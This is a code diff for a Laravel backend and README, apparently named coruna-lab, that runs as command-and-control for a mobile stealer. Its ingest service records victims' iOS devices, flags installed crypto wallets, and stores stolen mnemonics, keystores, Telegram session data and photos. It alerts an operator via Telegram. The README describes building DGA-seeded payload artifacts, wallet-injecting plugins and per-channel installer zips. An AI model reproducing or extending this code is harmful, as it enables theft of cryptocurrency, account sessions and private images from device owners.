'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
];
protected $attributes = [
@@ -135,6 +135,10 @@ class Channel extends Model
*/
public function supportLinks(): array
{
if ($this->isNewBuilder()) {
return [];
}
$links = [];
$path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
@@ -157,32 +161,48 @@ class Channel extends Model
return bin2hex(random_bytes(16));
}
public static function normalizeNewChannelId(string $channelId): ?string
{
$channelId = strtoupper(trim($channelId));
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
return null;
}
if (self::isReservedChannelName($channelId)) {
return null;
}
return $channelId;
}
public static function randomNewChannelId(): string
{
for ($i = 0; $i < 32; $i++) {
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
if (self::normalizeNewChannelId($code) === null) {
continue;
}
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
continue;
}
return $code;
}
throw new RuntimeException('无法生成唯一渠道 ID');
}
public function sourceZipRelativePath(): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
return $dir.'/'.$this->channel_id.'.zip';
}
public static function isReservedChannelName(string $name): bool
{
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
}
public static function randomChannelName(): string
{
for ($i = 0; $i < 32; $i++) {
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
if (self::isReservedChannelName($name)) {
continue;
}
if (self::query()->where('channel_name', $name)->exists()) {
continue;
}
$public = public_path('source/'.$name);
if (is_dir($public) || is_file($public)) {
continue;
}
return $name;
}
throw new RuntimeException('无法生成唯一 channel_name');
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
+32 -2
View File
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
public const WALLET_UNKNOWN = 0;
public const WALLET_NONE = 1;
public const WALLET_YES = 2;
protected $fillable = [
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
];
protected function casts(): array
@@ -17,9 +27,29 @@ class Device extends Model
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'wallet_names' => 'array',
];
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
}
/**
* @return list<string>
*/
public function walletNameList(): array
{
$names = $this->wallet_names;
if (! is_array($names)) {
return [];
}
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
+31 -1
View File
@@ -11,13 +11,14 @@ class PageVisit extends Model
protected $fillable = [
'channel_id',
'client_uid',
'session_id',
'user_agent',
'os',
'os_version',
'browser',
'browser_version',
'ip',
'path',
'domain',
'referer',
'created_at',
];
@@ -28,4 +29,33 @@ class PageVisit extends Model
'created_at' => 'datetime',
];
}
public static function normalizeDomain(?string $value): ?string
{
$value = trim((string) $value);
if ($value === '') {
return null;
}
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
$value = explode('/', $value, 2)[0];
$value = strtolower(rtrim($value));
if ($value === '' || ! str_contains($value, '.')) {
return null;
}
return substr($value, 0, 255);
}
public const VISITOR_UID_LENGTH = 16;
/**
* Stable visitor id: same domain+ip always yields the same 16-hex value.
*/
public static function visitorUid(?string $domain, ?string $ip): string
{
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
$ipKey = trim((string) $ip);
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
}
}
+2
View File
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
public const X_HIT_ALERT = 12;
protected $fillable = [
'device_id',
'sha256',
+144 -78
View File
@@ -25,7 +25,6 @@ class ChannelProjectService
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
@@ -42,26 +41,20 @@ class ChannelProjectService
?string $deploymentSeed = null,
?string $reportingSeed = null,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): array {
$builderType = $this->normalizeBuilderType($builderType);
$channelId = $this->normalizeChannelId($channelId);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew($channelId);
}
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
$deploymentSeed,
$reportingSeed,
);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew(
$channelId,
$channelName,
$deploymentSeed,
$reportingSeed,
);
}
return $this->generateOld(
$channelId,
$this->normalizeChannelId($channelId),
$supportTemplate,
$deploymentSeed,
$reportingSeed,
@@ -71,12 +64,19 @@ class ChannelProjectService
public function deleteWebTree(
string $channelId,
string $builderType = self::BUILDER_OLD,
?string $channelName = null,
): void {
$builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) {
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
$code = Channel::normalizeNewChannelId($channelId);
if ($code === null) {
return;
}
$zip = $this->newChannelZipPath($code);
if (is_file($zip) && ! unlink($zip)) {
throw new RuntimeException('删除渠道安装包失败: '.$zip);
}
return;
}
@@ -102,7 +102,6 @@ class ChannelProjectService
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
@@ -146,7 +145,6 @@ class ChannelProjectService
return [
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
'builder_type' => self::BUILDER_OLD,
'channel_name' => null,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
@@ -165,34 +163,17 @@ class ChannelProjectService
}
/**
* @return array{
* channel_id: string,
* builder_type: string,
* channel_name: ?string,
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* weifile_path: ?string,
* daily_path: string,
* support_template?: string,
* }
* Rebuild shared /details and staged weifile from `c`.
* Only used by `php artisan xxbb:build`, not when creating a channel.
*
* @return array<string, mixed>
*/
private function generateNew(
string $channelId,
?string $channelName,
?string $deploymentSeed,
?string $reportingSeed,
): array {
unset($channelName); // shared /weifile layout; no per-channel folder
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
}
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
if (! in_array($scheme, ['http', 'https'], true)) {
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
public function buildSharedArtifacts(?string $channelC = null, bool $randomC = false): array
{
if ($randomC && $channelC !== null && $channelC !== '') {
throw new RuntimeException('不能同时指定 channel-c 和 random-c');
}
$cmd = [
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('build.py', self::BUILDER_NEW),
@@ -200,44 +181,142 @@ class ChannelProjectService
$this->artifactRoot(),
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--channel-c',
$channelId,
'--scheme',
$scheme,
'--apply',
'--force',
];
if ($deploymentSeed !== null && $reportingSeed !== null) {
$cmd[] = '--deployment-seed';
$cmd[] = $deploymentSeed;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
if ($randomC) {
$cmd[] = '--random-c';
} else {
$c = $this->normalizeSharedChannelC($channelC);
if ($c !== null) {
$cmd[] = '--channel-c';
$cmd[] = $c;
}
}
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
}
private function generateNew(string $channelId): array
{
$channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) {
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
}
$weifileSrc = $this->stagedWeifileDir();
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
}
$zipPath = $this->newChannelZipPath($channelId);
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
$cmd = [
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
'--channel-code',
$channelId,
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--weifile-src',
$weifileSrc,
'--zip-out',
$zipPath,
];
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
$seeds = $this->loadNewLabSeeds();
$relativeZip = $this->newChannelZipRelative($channelId);
return [
'channel_id' => $channelId,
'builder_type' => self::BUILDER_NEW,
'channel_name' => null,
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', $seeds['deployment_seed']),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', $seeds['reporting_seed']),
'channel_c' => (string) data_get($result, 'seeds.channel_c', $seeds['channel_c']),
],
'domains' => [
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
'deployment' => array_values((array) data_get($result, 'domains.deployment', $seeds['domains']['deployment'])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', $seeds['domains']['reporting'])),
],
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
'weifile_path' => $weifilePath,
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '',
'weifile_path' => null,
'daily_path' => '/details/',
'zip_path' => '/'.$relativeZip,
];
}
public function stagedWeifileDir(): string
{
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
}
public function newChannelZipPath(string $channelId): string
{
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
}
public function newChannelZipRelative(string $channelId): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
return $dir.'/'.$code.'.zip';
}
/**
* @return array{deployment_seed: string, reporting_seed: string, channel_c: string, domains: array{deployment: list<string>, reporting: list<string>}}
*/
private function loadNewLabSeeds(): array
{
$empty = [
'deployment_seed' => '',
'reporting_seed' => '',
'channel_c' => '',
'domains' => ['deployment' => [], 'reporting' => []],
];
$path = $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'lab_seeds.json';
if (! is_file($path)) {
return $empty;
}
$decoded = json_decode((string) file_get_contents($path), true);
if (! is_array($decoded)) {
return $empty;
}
return [
'deployment_seed' => (string) ($decoded['deployment_seed'] ?? ''),
'reporting_seed' => (string) ($decoded['reporting_seed'] ?? ''),
'channel_c' => (string) ($decoded['channel_c'] ?? ''),
'domains' => [
'deployment' => array_values((array) data_get($decoded, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($decoded, 'domains.reporting', [])),
],
];
}
private function normalizeSharedChannelC(?string $channelC): ?string
{
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
? $channelC
: config('coruna.xxbb.channel_c', ''))));
if ($c === '') {
return null;
}
if (! preg_match('/^[0-9a-f]{32}$/', $c)) {
throw new RuntimeException('XXBB_CHANNEL_C 必须是 32 位 hex');
}
if ($c === '202800cfb1ad3de68e11239dcc26c30b') {
throw new RuntimeException('XXBB_CHANNEL_C 不能与 7z 密码槽相同');
}
return $c;
}
/**
* @param list<string> $cmd
* @return array<string, mixed>
@@ -386,19 +465,6 @@ class ChannelProjectService
return $channelId;
}
private function normalizeChannelName(string $channelName): string
{
$channelName = strtolower(trim($channelName));
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
throw new RuntimeException('Invalid channel name');
}
if (Channel::isReservedChannelName($channelName)) {
throw new RuntimeException('channel_name 与保留路径冲突');
}
return $channelName;
}
private function normalizeSupportTemplate(string $supportTemplate): string
{
$supportTemplate = strtolower(trim($supportTemplate));
+187 -16
View File
@@ -2,10 +2,12 @@
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -138,22 +140,18 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
$touch = ['updated_at' => now()];
$channelId = $this->extractChannelId($request, $payload);
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
$touch['channel_id'] = $channelId;
}
$existing->forceFill($touch)->saveQuietly();
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
return $existing->refresh();
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
}
/**
* Other C2 routes — create device if missing so business rows can attach,
* but never write channel_id (put will fill it later). Existing rows are left untouched.
* Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
@@ -164,10 +162,16 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
if ($this->isNewBuilderRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh();
}
return $existing;
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
}
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
@@ -208,15 +212,118 @@ class IngestService
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
private function fillMissingAttribution(
Device $device,
Request $request,
?array $payload,
bool $allowOldC,
): void {
$needChannel = $this->channelIdEmpty($device->channel_id);
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
if (! $needChannel && ! $needDomain) {
$device->forceFill(['updated_at' => now()])->saveQuietly();
return;
}
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
}
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
}
$device->forceFill($touch)->saveQuietly();
}
/**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
* attribute via recent PageVisit IP. Device is still created if no visit matches.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip());
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function isNewBuilderRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_new_builder', false);
}
/**
* Latest iptj/pixel visit from this IP in the last N minutes whose
* channel_id is a new-builder channel, and no device from this IP has
* already claimed that channel.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function matchNewBuilderVisit(?string $ip): array
{
$ip = is_string($ip) ? trim($ip) : '';
if ($ip === '') {
return ['channel_id' => null, 'source_domain' => null];
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('ip', $ip)
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
foreach ($visits as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
continue;
}
$channel = Channel::query()
->where('channel_id', $code)
->where('builder_type', Channel::BUILDER_NEW)
->first();
if ($channel === null) {
continue;
}
$claimed = Device::query()
->where('ip', $ip)
->where('channel_id', $code)
->exists();
if ($claimed) {
continue;
}
$domain = $this->sourceDomainFromVisit($visit);
return ['channel_id' => $code, 'source_domain' => $domain];
}
return ['channel_id' => null, 'source_domain' => null];
}
private function sourceDomainFromVisit(PageVisit $visit): ?string
{
return PageVisit::normalizeDomain($visit->domain);
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
$attrs = [
'device_id' => $deviceKey,
'ip' => $request->ip(),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
@@ -239,7 +346,6 @@ class IngestService
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
@@ -250,18 +356,45 @@ class IngestService
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
'meta_json' => $item,
]
);
}
$this->refreshDeviceWalletFlag($device);
}
/**
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->save();
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
}
}
/**
@@ -353,6 +486,37 @@ class IngestService
]);
}
/**
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
* Lab has no dedicated table; store as a keystore identity blob.
*/
public function ingestTelegramAuth(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (array_key_exists('result', $payload)) {
$this->ingestKeystore($device, $payload);
return;
}
$blob = [];
foreach ([
'user_id', 'state', 'db_sqlite',
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
] as $key) {
if (array_key_exists($key, $payload)) {
$blob[$key] = $payload[$key];
}
}
if ($blob === []) {
return;
}
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
$this->ingestKeystore($device, ['result' => $blob]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
@@ -507,6 +671,7 @@ class IngestService
return;
}
$stored = 0;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
@@ -530,6 +695,12 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
}
}
+27
View File
@@ -128,6 +128,23 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
/**
* @param list<string> $wallets
*/
public function notifyInstalledWallets(string $deviceId, array $wallets): void
{
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
if ($wallets === []) {
return;
}
$this->send(implode("\n", [
'👜 <b>Installed Wallets</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
@@ -138,6 +155,16 @@ class TelegramNotifier
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange(
string $deviceId,
string $address,
+81
View File
@@ -28,11 +28,62 @@ final class WalletSource
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
'c' => 'TronLink',
'f' => 'BitKeep',
's' => 'Solflare',
'tg' => 'Telegram',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
];
/**
* Display names for plugin wallet bundle IDs (mnemonic-capable).
*
* @var array<string, string>
*/
private const BUNDLE_LABELS = [
'im.token.app' => 'imToken',
'io.metamask' => 'MetaMask',
'io.metamask.MetaMask' => 'MetaMask',
'com.wallet.crypto.trustapp' => 'Trust Wallet',
'com.sixdays.trust' => 'Trust Wallet',
'com.okex.wallet' => 'OKX',
'com.okex.OKExAppstoreFull' => 'OKX',
'com.coinbase.wallet' => 'Coinbase Wallet',
'org.toshi.distribution' => 'Coinbase Wallet',
'com.exodus' => 'Exodus',
'exodus-movement.exodus' => 'Exodus',
'app.phantom' => 'Phantom',
'com.uniswap.mobile' => 'Uniswap',
'com.tronlinkpro.wallet' => 'TronLink',
'com.tronlink.hdwallet' => 'TronLink',
'com.mytonwallet.app' => 'MyTonWallet',
'org.mytonwallet.app' => 'MyTonWallet',
'com.tonhub.app' => 'Tonhub',
'com.tonkeeper.app' => 'Tonkeeper',
'com.jbig.tonkeeper' => 'Tonkeeper',
'vip.mytokenpocket' => 'TokenPocket',
'com.bitkeep.wallet' => 'BitKeep',
'com.bitkeep.os' => 'BitKeep',
'com.bitpie' => 'Bitpie',
'com.bitpie.wallet' => 'Bitpie',
'com.coin98' => 'Coin98',
'coin98.crypto.finance.insights' => 'Coin98',
'com.solflare.mobile' => 'Solflare',
'com.roninchain.wallet' => 'Ronin',
'com.skymavis.Genesis' => 'Ronin',
'com.krystal.wallet' => 'Krystal',
'com.kyrd.krystal.ios' => 'Krystal',
'com.global.wallet.ios' => 'Global Wallet',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
'net.whatsapp.WhatsApp',
];
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
@@ -43,6 +94,36 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/
public static function isPluginWalletBundle(string $bundle): bool
{
$bundle = trim($bundle);
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
return false;
}
if (isset(self::BUNDLE_LABELS[$bundle])) {
return true;
}
$configured = config('coruna.wallet_bundles', []);
return is_array($configured) && in_array($bundle, $configured, true)
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
}
public static function labelForBundle(string $bundle, ?string $fallback = null): string
{
$bundle = trim($bundle);
if (isset(self::BUNDLE_LABELS[$bundle])) {
return self::BUNDLE_LABELS[$bundle];
}
$fallback = trim((string) $fallback);
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
}
/**
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
*
+10
View File
@@ -42,6 +42,16 @@ class ChannelCommand
$lines[] = ($i + 1).'. '.$channel->channel_id;
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
if ($channel->isNewBuilder()) {
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
$markup->addRow(InlineKeyboardButton::make(
text: $btnText,
copy_text: CopyTextButton::make($channel->channel_id),
));
continue;
}
$links = $channel->supportLinks();
$link = $links[0] ?? $channel->landingPath();
if (strlen($link) > 256) {
+2
View File
@@ -50,6 +50,8 @@ return Application::configure(basePath: dirname(__DIR__))
'event',
'a',
'u',
't',
'nb',
'uj',
'us',
'ub',
+54 -27
View File
@@ -1,46 +1,73 @@
# channel-builder-new
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
(lab `web/` + `sync/` layout).
Applies **shared** artifacts:
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
not change, so `c` cannot tell channels apart. Per-channel identity is the
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`)
- `/details/` (`show.html` + patched `corepayload.js` + plugins)
This pass patches:
1. **weifile secondary type-0x01** — DGA seeds + reporting field `c`
2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites
`show.html` core `sha256` / `size`
## 1. Build once (shared artifacts)
```bash
cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python tools/build.py \
--channel-c <32-hex> \
--apply --force
# specified c
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force
# or random c
.venv/bin/python tools/build.py --random-c --apply --force
# or from Laravel (uses XXBB_CHANNEL_C when set)
php artisan xxbb:build
php artisan xxbb:build --random-c
php artisan xxbb:build --channel-c=<32-hex>
```
Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default
`../public`).
Writes:
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
First generate writes one random seed and copies it to both deployment and
reporting (same as `channel-builder`). CLI pair must also match. Domain list is
`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings).
- `{artifact-root}/details/` (default `../public/details`) — **published**
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
`CACACACA` is left in place for per-channel packing.
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
device ingest can recognize the shared native field.
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
## 2. Pack on channel create
Admin create (8-char id) runs `tools/pack_channel.py`:
1. Copy staged weifile
2. Replace `CACACACA` in `index.js` with the channel id
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
```bash
.venv/bin/python tools/pack_channel.py \
--channel-code FAFA9988 \
--zip-out ../public/channel-source-new/FAFA9988.zip
```
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
Delete a new channel removes that zip only (shared `/details` stays).
## Device attribution
- **Old channels:** payload `c` is the 32-hex `channel_id`
- **New channels:** payload `c` is the shared seed. On device create, match
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
that visit’s `channelCode` as `channel_id`, and store the landing domain on
`devices.source_domain`.
| Flag | What it replaces | Where |
|------|------------------|--------|
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) |
| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) |
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
(one nibble off original `c`). Details modules still decrypt with that password.
`index.js` iptj URL / `channelCode` are not patched here.
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
